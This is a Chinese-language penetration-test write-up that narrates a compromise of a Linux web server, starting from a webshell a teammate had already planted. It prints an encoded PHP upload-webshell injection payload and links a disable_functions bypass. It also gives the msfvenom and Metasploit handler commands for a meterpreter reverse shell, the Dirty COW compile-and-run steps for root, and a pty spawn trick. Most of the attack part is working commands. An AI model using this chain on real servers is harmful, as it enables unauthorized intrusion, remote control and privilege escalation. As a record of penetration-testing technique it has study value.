一.前言
在一次综合渗透的过程中遇到的比较完整的一个渗透流程。很多现查的技巧,这次渗透的基础是基于队友已经在服务器写入了一句话木马但无法执行系统命令。
二.渗透过程
一开始,我想到的是传个大马上去,为了方便,先写入了一个上传马:
?a=fputs(fopen(base64_decode(c2hlbGwucGhw),w),base64_decode(base64_decode(UEQ5d2FIQWdEUXBBSkhSbGJYQWdQU0FrWDBaSlRFVlRXeWQxY0d4dllXUmZabWxzWlNkZFd5ZDBiWEJmYm1GdFpTZGRPdzBLUUNSbWFXeGxJRDBnWW1GelpXNWhiV1VvSkY5R1NVeEZVMXNuZFhCc2IyRmtYMlpwYkdVblhWc25ibUZ0WlNkZEtUc05DbWxtSUNobGJYQjBlU0FvSkdacGJHVXBLWHNOQ21WamFHOGdJanhtYjNKdElHRmpkR2x2YmlBOUlDY25JRzFsZEdodlpDQTlJQ2RRVDFOVUp5QkZUa05VV1ZCRlBTZHRkV3gwYVhCaGNuUXZabTl5YlMxa1lYUmhKejVjYmlJN1pXTm9ieUFpVEc5allXd2dabWxzWlRvZ1BHbHVjSFYwSUhSNWNHVWdQU0FuWm1sc1pTY2dibUZ0WlNBOUlDZDFjR3h2WVdSZlptbHNaU2MrWEc0aU8yVmphRzhnSWp4cGJuQjFkQ0IwZVhCbElEMGdKM04xWW0xcGRDY2dkbUZzZFdVZ1BTQW5WWEJzYjJGa0p6NWNiaUk3WldOb2J5QWlQQzltYjNKdFBseHVQSEJ5WlQ1Y2JseHVQQzl3Y21VK0lqdDlaV3h6WlNCN2FXWW9iVzkyWlY5MWNHeHZZV1JsWkY5bWFXeGxLQ1IwWlcxd0xDUm1hV3hsS1NsN1pXTm9ieUFpUm1sc1pTQjFjR3h2WVdSbFpDQnpkV05qWlhOelpuVnNiSGt1UEhBK1hHNGlPMzFsYkhObElIdGxZMmh2SUNKVmJtRmliR1VnZEc4Z2RYQnNiMkZrSUNJZ0xpQWtabWxzWlNBdUlDSXVQSEErWEc0aU8zMTlQejQ9)));
利用这个上传马(shell.php)上传了一个比较常用的大马(297.php)。发现无法执行系统命令(无回显):
查看phpinfo()发现应该是disable_function()的原因。随即使用github上大佬LD_PRELOAD的bypass马:
https://github.com/zhinaonet/bypass_disablefunc_via_LD_PRELOAD
成功执行命令:
可以执行命令后便想着提权,直接上虚拟机里的kali先用ngrok把虚拟机里的内网穿透出去:
启动msf:
msfconsole
msfvenom -l payloads
msfvenom -p linux/x64/meterpreter_reverse_tcp LHOST=ip LPORT=10017 -f elf > shell.elf
生成反弹shell:
use exploit/multi/handler
set PAYLOAD linux/x64/meterpreter_reverse_tcp
set LHOST 192.168.1.170
set LPORT 4444
run
开启监听,同时把生成的elf文件用上传马上传到服务器,用bypass马chmod赋予权限后执行。
即可反弹成功:
拿到反弹shell后就想着提权,一看内核版本是在脏牛的覆盖范围,就尝试脏牛一把梭。
先去github上下载脏牛的exp源码:
https://github.com/FireFart/dirtycow
上传上去之后执行命令:
gcc -pthread dirty.c -o dirty -lcrypt
./dirty
执行成功!
但在su切换用户的时候出现了幺蛾子:
Standard in must be a tty这种情况我还是头一次遇见。通过查询,发现可以用python绕过它:
python -c 'import pty; pty.spawn("/bin/sh")'
su firefart
输入密码,即可提权成功:
于此已经拿到了root权限。后渗透阶段由于本人不太熟悉就暂且不提了。
三.总结
这次渗透没有什么特别难的难点,主要是队友把一句话传上去打了个好的基础。作为脚本小子的我也不过是用网上大佬们的工具完成了此次渗透。学艺不精还需要继续和菊苣们学习。